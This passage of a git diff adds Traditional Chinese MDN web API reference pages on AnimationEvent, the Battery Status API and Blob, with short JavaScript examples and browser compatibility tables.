+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i &lt; bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-analysernode-interface', 'AnalyserNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0 {{property_prefix("webkit")}}<br>
+    22</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/animationevent/index.html b/files/zh-tw/web/api/animationevent/index.html
new file mode 100644
index 0000000000..d4528894b5
--- /dev/null
+++ b/files/zh-tw/web/api/animationevent/index.html
@@ -0,0 +1,182 @@
+---
+title: AnimationEvent
+slug: Web/API/AnimationEvent
+tags:
+  - API
+  - CSS
+  - CSS Animations
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/AnimationEvent
+---
+<p>{{SeeCompatTable}}{{APIRef("Web Animations API")}}</p>
+
+<h2 id="摘要">摘要</h2>
+
+<p><strong><code>AnimationEvent</code></strong> 介面表現提供<a href="/zh-TW/docs/Web/Guide/CSS/Using_CSS_animations">動畫</a>相關資訊的事件。</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="性能">性能</h2>
+
+<p><em>另外從其父 {{domxref("Event")}} 繼承屬性</em>。</p>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.animationName")}} {{readonlyInline}}</dt>
+ <dd>是一個{{domxref("DOMString")}}包含的值 {{cssxref("animation-name")}} CSS屬性與過渡有關。</dd>
+ <dt>{{domxref("AnimationEvent.elapsedTime")}} {{readonlyInline}}</dt>
+ <dd>是一個<code>float</code>給予時間的動畫已經運行，以秒為單位，當該事件燒製，不含動畫被暫停的任何時間量。為一個<code>"animationstart"</code>事件，<code>elapsedTime</code>是<code>0.0</code>，除非有一個負值{{cssxref("animation-delay")}}，在這種情況下，該事件將與燒製<code>elapsedTime</code>含有 <code>(-1 * </code><em>delay</em><code>)</code>。</dd>
+ <dt>{{domxref("AnimationEvent.pseudoElement")}} {{readonlyInline}}</dt>
+ <dd>是一個{{domxref("DOMString")}}，從<code>"::"</code>，包含的名字<a href="/zh-TW/docs/Web/CSS/Pseudo-elements">虛擬元素</a>的動畫運行。如果動畫上不偽元素，但該元素，一個空字符串上運行<code>：''。</code></dd>
+</dl>
+
+<h2 id="構造函數">構造函數</h2>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.AnimationEvent","AnimationEvent()")}}</dt>
+ <dd>創建一個<code>AnimationEvent</code>事件具有給定參數。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>同時繼承其父{{domxref("事件")}}方法</em>。</p>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.initAnimationEvent()")}} {{non-standard_inline}}{{deprecated_inline}}</dt>
+ <dd>初始化<code>AnimationEvent</code> 使用過時的創建 {{domxref("Document.createEvent()", "Document.createEvent(\"AnimationEvent\")")}} 方法。</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">產品規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td>初始定義。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器兼容性">瀏覽器兼容性</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>特點</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支持</td>
+   <td>1.0 {{ property_prefix("webkit") }}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>10.0</td>
+   <td>12 {{property_prefix("O")}}<br>
+    12.10<br>
+    15.0 {{ property_prefix("webkit") }}</td>
+   <td>4.0 {{ property_prefix("webkit") }}</td>
+  </tr>
+  <tr>
+   <td><code>AnimationEvent()</code>構造函數</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>initAnimationEvent()</code>{{non-standard_inline}} {{deprecated_inline}}</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("6.0")}}<br>
+    在{{CompatGeckoDesktop("23.0")}}刪除</td>
+   <td>10.0</td>
+   <td>12</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td><code>pseudoelement</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>特點</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>基本支持</td>
+   <td>{{CompatVersionUnknown}}{{ property_prefix("webkit") }}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}</td>
+   <td>10.0</td>
+   <td>12 {{ property_prefix("o") }}<br>
+    12.10<br>
+    15.0 {{ property_prefix("webkit") }}</td>
+   <td>{{CompatVersionUnknown}}{{ property_prefix("webkit") }}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>AnimationEvent()</code>構造函數</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>initAnimationEvent()</code>{{non-standard_inline}} {{deprecated_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}<br>
+    在{{CompatGeckoMobile("23.0")}}刪除</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>pseudoelement</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="另請參見">另請參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/CSS/Using_CSS_animations">使用CSS動畫</a></li>
+ <li>Animation-related CSS properties and at-rules: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}.</li>
+</ul>
diff --git a/files/zh-tw/web/api/animationevent/initanimationevent/index.html b/files/zh-tw/web/api/animationevent/initanimationevent/index.html
new file mode 100644
index 0000000000..de5c7efe15
--- /dev/null
+++ b/files/zh-tw/web/api/animationevent/initanimationevent/index.html
@@ -0,0 +1,129 @@
+---
+title: AnimationEvent.initAnimationEvent()
+slug: Web/API/AnimationEvent/initAnimationEvent
+tags:
+  - API
+  - AnimationEvent
+  - CSSOM
+  - Method
+  - Obsolete
+  - Web Animations
+translation_of: Web/API/AnimationEvent/initAnimationEvent
+---
+<p>{{obsolete_header}}{{non-standard_header}}{{ apiref("Web Animations API") }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>The <code><strong>AnimationEvent.initAnimationEvent()</strong></code> method Initializes an animation event created using the deprecated {{domxref("Document.createEvent()", "Document.createEvent(\"AnimationEvent\")")}} method.</p>
+
+<p><code>AnimationEvent</code> created this way are untrusted.</p>
+
+<div class="note">
+<p><strong>Note:</strong> During the standardization process, this method was removed from the specification. It has been deprecated and is in the progress of being removed from most implementations. <strong>Do not use this method</strong>; instead, use the standard constructor, {{domxref("AnimationEvent.AnimationEvent", "AnimationEvent()")}}, to create a synthetic {{domxref("AnimationEvent")}}.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>animationEvent</em>.initAnimationEvent(<em>typeArg</em>, <em>canBubbleArg</em>, <em>cancelableArg</em>, <em>animationNameArg</em>, <em>elapsedTimeArg</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>typeArg</code></dt>
+ <dd>A {{domxref("DOMString")}} identifying the specific type of animation event that occurred. The following values are allowed:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Value</th>
+    <th scope="col">Meaning</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>animationstart</code></td>
+    <td>The animation has started.</td>
+   </tr>
+   <tr>
+    <td><code>animationend</code></td>
+    <td>The animation completed.</td>
+   </tr>
+   <tr>
+    <td><code>animationiteration</code></td>
+    <td>The current iteration just completed.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>canBubbleArg</code></dt>
+ <dd>A {{domxref("Boolean")}} flag indicating if the event can bubble (<code>true</code>) or not (<code>false)</code>.</dd>
+ <dt><code>cancelableArg</code></dt>
+ <dd>A {{domxref("Boolean")}} flag indicating if the event associated action can be avoided (<code>true</code>) or not (<code>false)</code>.</dd>
+ <dt><code>animationNameArg</code></dt>
+ <dd>A {{domxref("DOMString")}} containing the value of the {{cssxref("animation-name")}} CSS property associated with the transition.</dd>
+ <dt><code>elapsedTimeArg</code></dt>
+ <dd>A <code>float</code> indicating the amount of time the animation has been running, in seconds, as of the time the event was fired, excluding any time the animation was paused. For an <code>"animationstart"</code> event, <code>elapsedTime</code> is <code>0.0</code> unless there was a negative value for <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/animation-delay" title="The animation-delay CSS property specifies when the animation should start. This lets the animation sequence begin some time after it's applied to an element.">animation-delay</a></code>, in which case the event will be fired with <code>elapsedTime</code> containing  <code>(-1 * </code><em>delay</em><code>)</code>.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p><em>This method is non-standard and not part of any specification, though it was present in early drafts of {{SpecName("CSS3 Animations")}}.</em></p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}<br>
+    Removed in {{ CompatGeckoDesktop("23.0") }}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}<br>
+    Removed in {{ CompatGeckoMobile("23.0") }}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_animations">Using CSS animations</a></li>
+ <li>Animation-related CSS properties and at-rules: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}.</li>
+ <li>The {{domxref("AnimationEvent")}} interface it belongs to.</li>
+</ul>
diff --git a/files/zh-tw/web/api/battery_status_api/index.html b/files/zh-tw/web/api/battery_status_api/index.html
new file mode 100644
index 0000000000..cbf98d417d
--- /dev/null
+++ b/files/zh-tw/web/api/battery_status_api/index.html
@@ -0,0 +1,38 @@
+---
+title: Battery Status API
+slug: Web/API/Battery_Status_API
+translation_of: Web/API/Battery_Status_API
+---
+<p><strong>Battery Status API</strong> 也就是所謂的 <strong>Battery API</strong>，將提供系統電池充電容量的資訊，並在電池容量變化時送出事件，以通知使用者。此 API 可調整 Apps 的資源耗用量，在電力偏低時縮減耗電量；或可在電力耗盡之前儲存檔案，避免資料遺失。</p>
+<p>Battery Status API 是以 <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.battery" title="/en-US/docs/Web/API/window.navigator.battery"><code>window.navigator.battery</code></a> 屬性 (為 <a href="https://developer.mozilla.org/en-US/docs/Web/API/BatteryManager" title="/en-US/docs/Web/API/BatteryManager"><code>BatteryManager</code></a> 物件) 而擴充了 <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator" title="/en-US/docs/Web/API/window.navigator"><code>window.navigator</code></a>，並新增數項可讓使用者接收的新事件，以隨時監控電池狀態。</p>
+<h2 id="範例">範例</h2>
+<p>在此範例中，我們將分別監聽 <a href="https://developer.mozilla.org/en-US/docs/Web/Reference/Events/chargingchange" title="/en-US/docs/Web/Reference/Events/chargingchange">chargingchange</a> 與 <a href="https://developer.mozilla.org/en-US/docs/Web/Reference/Events/levelchange" title="/en-US/docs/Web/Reference/Events/levelchange">levelchange</a> 事件，而看到充電狀態 (不論是否插電進行充電) 與電池容量的變化。</p>
+<pre class="brush: js">var battery = navigator.battery || navigator.mozBattery || navigator.webkitBattery;
+
+function updateBatteryStatus() {
+  console.log("Battery status: " + battery.level * 100 + " %");
+
+  if (battery.charging) {
+    console.log("Battery is charging");
+  }
+}
+
+battery.addEventListener("chargingchange", updateBatteryStatus);
+battery.addEventListener("levelchange", updateBatteryStatus);
+updateBatteryStatus();
+</pre>
+<p>另可參閱<a href="http://dev.w3.org/2009/dap/system-info/battery-status.html#introduction">規格所提供之範例</a>。</p>
+<h2 id="規格">規格</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Specifications")}}</p>
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Browser_compatibility")}}</p>
+<h2 id="另請參閱">另請參閱</h2>
+<ul>
+  <li><a href="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">部落格文章 - Using the Battery API</a></li>
+  <li><a href="http://davidwalsh.name/battery-api" title="http://davidwalsh.name/battery-api">David Walsh 所寫的 JavaScript Battery Api</a></li>
+  <li><a href="https://github.com/pstadler/battery.js" title="https://github.com/pstadler/battery.js">battery.js - 跨瀏覽器 wrapper</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/BatteryManager" title="/en-US/docs/Web/API/BatteryManager"><code>BatteryManager</code></a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.battery" title="/en-US/docs/Web/API/window.navigator.battery"><code>navigator.battery</code></a></li>
+  <li><code><a href="http://tools.guyellisrocks.com/experiment/batterystatus" title="http://tools.guyellisrocks.com/experiment/batterystatus">測試你的瀏覽器是否支援 Battery Status API</a>。可掃 QR Code:</code></li>
+  <li> <a href="http://x.co/qr/batstat?s=165"><img alt="QR Code to Battery Status API Test Page" src="http://x.co/qr/batstat?s=165" style="width: 165px; height: 165px;"></a></li>
+</ul>
diff --git a/files/zh-tw/web/api/blob/blob/index.html b/files/zh-tw/web/api/blob/blob/index.html
new file mode 100644
index 0000000000..26fb1e8ef7
--- /dev/null
+++ b/files/zh-tw/web/api/blob/blob/index.html
@@ -0,0 +1,125 @@
+---
+title: Blob()
+slug: Web/API/Blob/Blob
+translation_of: Web/API/Blob/Blob
+---
+<p>{{APIRef("File API")}}</p>
+
+<p><code><strong>Blob()</strong></code> 建構式會回傳一個新建立的 {{domxref("Blob")}} 物件。新物件的內容是由 <em>array</em> 參數的成員值串連所構成。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var aBlob = new Blob(<em> array</em>, <em>options</em> );
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<ul>
+ <li><em>array</em> 可以是一個由 {{jsxref("ArrayBuffer")}}、{{domxref("ArrayBufferView")}}、{{domxref("Blob")}} 或 {{domxref("DOMString")}} 組成的 {{jsxref("Array")}} 物件，或是上述多種型別物件的混合陣列。這個陣列將會被放進新建立的 <code>Blob</code> 物件當中。DOMStrings 的編碼為 UTF-8。</li>
+ <li><em>option</em><em>s</em> 是選擇性的 <code>BlobPropertyBag</code> 字典物件，有以下兩個指定的屬性：
+  <ul>
+   <li><code>type</code> 屬性，預設值為空字串 <code>""</code>，表示將被放進 <code>Blob</code> 物件的陣列內容之 MIME 類型。</li>
+   <li><code>endings</code> 屬性，表示包含 <code>\n</code> 換行字元的字串要如何輸出，預設值為字串 <code>"transparent"</code>。此屬性值可為：<code>"native"</code>，代表換行字元會被轉為目前作業系統的換行字元編碼。也可以是 <code>"transparent"</code>，代表保留 <code>Blob</code> 物件中資料的換行字元。{{non-standard_inline}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js  language-js">var aFileParts = ['&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;']; // an array consisting of a single DOMString
+var oMyBlob = new Blob(aFileParts, {type : 'text/html'}); // the blob</pre>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#constructorBlob', 'Blob()')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>
+    <p>基礎支援</p>
+   </td>
+   <td>20</td>
+   <td>{{CompatGeckoDesktop("13.0")}} [1]</td>
+   <td>10</td>
+   <td>12.10</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>在 Workers 中</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("14.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基礎支援</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("13.0")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>在 Workers 中</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("14.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] 在 Firefox 16 以前，第二個參數若被設為 <code>null</code> 或 <code>undefined</code> 會導致錯誤而不是當成一個空鍵值。</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>廢棄的 {{domxref("BlobBuilder")}} 和取代他的建構子。</li>
+</ul>
+
+<p> </p>
diff --git a/files/zh-tw/web/api/blob/index.html b/files/zh-tw/web/api/blob/index.html
new file mode 100644
index 0000000000..457628556c
--- /dev/null
+++ b/files/zh-tw/web/api/blob/index.html
@@ -0,0 +1,116 @@
+---
+title: Blob
+slug: Web/API/Blob
+translation_of: Web/API/Blob
+---
+<p>{{APIRef("File API")}}</p>
+
+<p><code>Blob</code>（Binary Large Object）物件代表了一個相當於檔案（原始資料）的不可變物件。Blob 中的資料並不一定是 JavaScript 原生的格式。{{domxref("File")}} 介面基於 <code>Blob，</code>繼承 blob 並擴充其功能以支援操作使用者系統上的檔案。</p>
+
+<p>從其它非 Blob 物件或資料來建構 <code>Blob</code> 物件，可以使用 {{domxref("Blob.Blob", "Blob()")}} 建構式。要建立一個包含目前 blob 內容子集的 blob，可使用 {{domxref("Blob.slice()", "slice()")}} 方法。若要自使用者系統上的檔案取得 <code>Blob</code> 物件，請參考 {{domxref("File")}} 文件。</p>
+
+<p>接受 Blob 物件的 API 可以在 {{domxref("File")}} 上找到。</p>
+
+<div class="note">
+<p><strong>註：</strong>早期 <code>slice()</code> 方法擁有第二個參數 <code>length</code> 以指定在建立新 <code>Blob</code> 物件時要複製的位元組（byte）數量。假如指定的 <code>start + length</code> 超出了來源 <code>Blob</code> 的大小，則回傳的 <code>Blob</code> 會包含自索引 <code>start</code> 至結尾的完整來源內容。</p>
+</div>
+
+<div class="note">
+<p><strong>註：</strong>需注意在部分瀏覽器版本中，<code>slice()</code> 方法帶有前綴：Firefox 12 與之前的版本為 <code>blob.mozSlice()</code>，Safari 中是 <code>blob.webkitSlice()</code>。舊的、無前綴字版本的 <code>slice()</code> 方法則有不同的語意（semantics），但這是已淘汰的方法。瀏覽器對 <code>blob.mozSlice()</code> 的支援已在 Firefox 30 時中止。</p>
+</div>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{domxref("Blob.Blob", "Blob(blobParts[, options])")}}</dt>
+ <dd>回傳新建立的 <code>Blob</code> 物件，包含了建構式參數傳入之陣列所串聯後的值。第二個參數為 <font face="Consolas, Liberation Mono, Courier, monospace">BlobPropertyBag</font> <font face="Consolas, Liberation Mono, Courier, monospace">物件，其擁有</font> <code>type</code> 和 <code>endings</code> 屬性<font face="Consolas, Liberation Mono, Courier, monospace">。</font></dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("Blob.size")}} {{readonlyinline}}</dt>
+ <dd>以 byte 為單位的 <code>Blob</code> 物件大小。</dd>
+ <dt>{{domxref("Blob.type")}} {{readonlyinline}}</dt>
+ <dd><code>Blob</code> 物件中資料的型態，以 MIME 類型的字串表示。若型態為未知，則為空字串。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("Blob.slice()", "Blob.slice([start[, end[, contentType]]])")}}</dt>
+ <dd>回傳一個包含當前 <code>Blob</code> 物件之指定資料範圍（byte）內容的新 <code>Blob</code> 物件。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Blob_建構函數用法範例">Blob 建構函數用法範例</h3>
+
+<p>{{domxref("Blob.Blob", "Blob() constructor")}} 建構式允許由其它物件建立 blob 物件。以下的範例演示了以字串來建構 blob 物件：</p>
+
+<pre class="brush: js">var debug = {hello: "world"};
+var blob = new Blob([JSON.stringify(debug, null, 2)], {type : 'application/json'});</pre>
+
+<div class="warning">
+<p>在 Blob 建構式出現之前，可以透過 {{domxref("BlobBuilder")}} 來建立 blob 物件（目前已不建議使用）：</p>
+
+<pre class="brush: js">var builder = new BlobBuilder();
+var fileParts = ['&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;'];
+builder.append(fileParts[0]);
+var myBlob = builder.getBlob('text/xml');</pre>
+</div>
+
+<h3 id="藉型別陣列建構的_blob_來建立_URL">藉型別陣列建構的 blob 來建立 URL</h3>
+
+<p>範例程式碼：</p>
+
+<pre class="brush: js">var typedArray = GetTheTypedArraySomehow();
+var blob = new Blob([typedArray], {type: 'application/octet-binary'}); // pass a useful mime type here
+var url = URL.createObjectURL(blob);
+// url will be something like: blob:d3958f5c-0777-0845-9dcf-2cb28783acaf
+// now you can use the url in any context that regular URLs can be used in, for example img.src, etc.
+</pre>
+
+<h3 id="從_Blob_取出資料">從 Blob 取出資料</h3>
+
+<p>從 Blob 讀取資料的唯一方式就是使用 {{domxref("FileReader")}}。以下範例展示了讀取 Blob 內容作為型別陣列：</p>
+
+<pre class="brush: js">var reader = new FileReader();
+reader.addEventListener("loadend", function() {
+   // reader.result contains the contents of blob as a typed array
+});
+reader.readAsArrayBuffer(blob);</pre>
+
+<p>藉由操作 {{domxref("FileReader")}} 的其他方法，將 Blob 讀取成字串或是 data URL 是有可能的。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API','#blob','Blob')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.Blob")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("BlobBuilder")}}</li>
+ <li>{{domxref("File")}}</li>
+ <li>{{domxref("URL.createObjectURL")}}</li>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/blob/size/index.html b/files/zh-tw/web/api/blob/size/index.html
new file mode 100644
index 0000000000..0abccad27d
--- /dev/null
+++ b/files/zh-tw/web/api/blob/size/index.html
@@ -0,0 +1,114 @@
+---
+title: Blob.size
+slug: Web/API/Blob/size
+tags:
+  - API
+  - Files
+  - Property
+  - Reference
+  - WebAPI
+  - 參考
+  - 屬性
+translation_of: Web/API/Blob/size
+---
+<div>{{APIRef("File API")}}</div>
+
+<p><strong><code>Blob.size</code></strong> 屬性回傳以 byte 為單位的 {{domxref("Blob")}} 或一個 {{domxref("File")}} 的大小。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var sizeInBytes = <em>blob</em>.size
+</pre>
+
+<h2 id="值">值</h2>
+
+<p>一個數字。</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush:js">// fileInput 是個 HTMLInputElement: &lt;input type="file" multiple id="myfileinput"&gt;
+var fileInput = document.getElementById("myfileinput");
+
+// files 是個 FileList 物件 （類似 NodeList）
+var files = fileInput.files;
+
